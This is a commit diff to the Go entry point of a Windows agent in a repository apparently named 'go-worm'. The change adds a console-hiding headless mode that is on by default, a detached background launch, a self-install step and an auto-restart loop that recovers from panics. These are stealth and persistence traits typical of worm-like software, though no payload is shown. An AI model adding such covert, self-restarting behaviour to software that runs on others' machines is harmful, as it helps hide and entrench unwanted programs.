refactor(core): add headless run and auto-restart
- Run without console by default - Log to file once console hidden - Recover panics in background goroutines - Restart agent after unexpected errors - Use shared instance launch helper
This commit is contained in:
@@ -4,58 +4,102 @@
|
||||
//
|
||||
// GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o win64_mp.exe .
|
||||
//
|
||||
// A CMD window appears on launch. Use -background to start without a window:
|
||||
//
|
||||
// win64_mp.exe -background
|
||||
// Runs headless by default. Use -foreground for a visible console (dev only).
|
||||
// Use -background to spawn a detached copy and exit the launcher.
|
||||
package main
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"flag"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/agent"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/config"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/crashlog"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/helpers"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/install"
|
||||
"tea.chunkbyte.com/kato/go-worm/lib/instance"
|
||||
)
|
||||
|
||||
func main() {
|
||||
defer crashlog.Recover()
|
||||
var errAlreadyRunning = errors.New("agent already running")
|
||||
|
||||
background := flag.Bool("background", false, "run without a console window")
|
||||
func main() {
|
||||
background := flag.Bool("background", false, "spawn detached agent and exit")
|
||||
ensure := flag.Bool("ensure", false, "start the agent if it is not already running")
|
||||
foreground := flag.Bool("foreground", false, "keep console visible (dev only)")
|
||||
flag.Parse()
|
||||
|
||||
if err := install.Ensure(); err != nil {
|
||||
die(err)
|
||||
die(err, *foreground)
|
||||
}
|
||||
|
||||
if *ensure {
|
||||
if !*foreground {
|
||||
instance.HideConsole()
|
||||
_ = helpers.AttachLogFile()
|
||||
}
|
||||
if err := instance.EnsureRunning(); err != nil {
|
||||
die(err)
|
||||
die(err, *foreground)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if *background {
|
||||
if err := instance.Detach(); err != nil {
|
||||
die(err)
|
||||
die(err, *foreground)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if !*foreground {
|
||||
instance.HideConsole()
|
||||
_ = helpers.AttachLogFile()
|
||||
}
|
||||
|
||||
for {
|
||||
err := runAgent()
|
||||
if err == nil {
|
||||
return
|
||||
}
|
||||
if errors.Is(err, errAlreadyRunning) {
|
||||
return
|
||||
}
|
||||
crashlog.RecordError(err)
|
||||
helpers.Log.Printf("agent stopped: %v; restarting in %s", err, config.RestartDelay)
|
||||
time.Sleep(config.RestartDelay)
|
||||
}
|
||||
}
|
||||
|
||||
func runAgent() (err error) {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
crashlog.RecordPanic(r)
|
||||
err = fmt.Errorf("panic: %v", r)
|
||||
}
|
||||
}()
|
||||
|
||||
a, err := agent.New()
|
||||
if err != nil {
|
||||
die(err)
|
||||
if strings.Contains(err.Error(), "already running") {
|
||||
return errAlreadyRunning
|
||||
}
|
||||
return err
|
||||
}
|
||||
defer a.Close()
|
||||
|
||||
if err := a.Serve(); err != nil {
|
||||
die(err)
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func die(err error) {
|
||||
func die(err error, foreground bool) {
|
||||
if !foreground {
|
||||
instance.HideConsole()
|
||||
_ = helpers.AttachLogFile()
|
||||
}
|
||||
crashlog.RecordError(err)
|
||||
helpers.Log.Fatal(err)
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user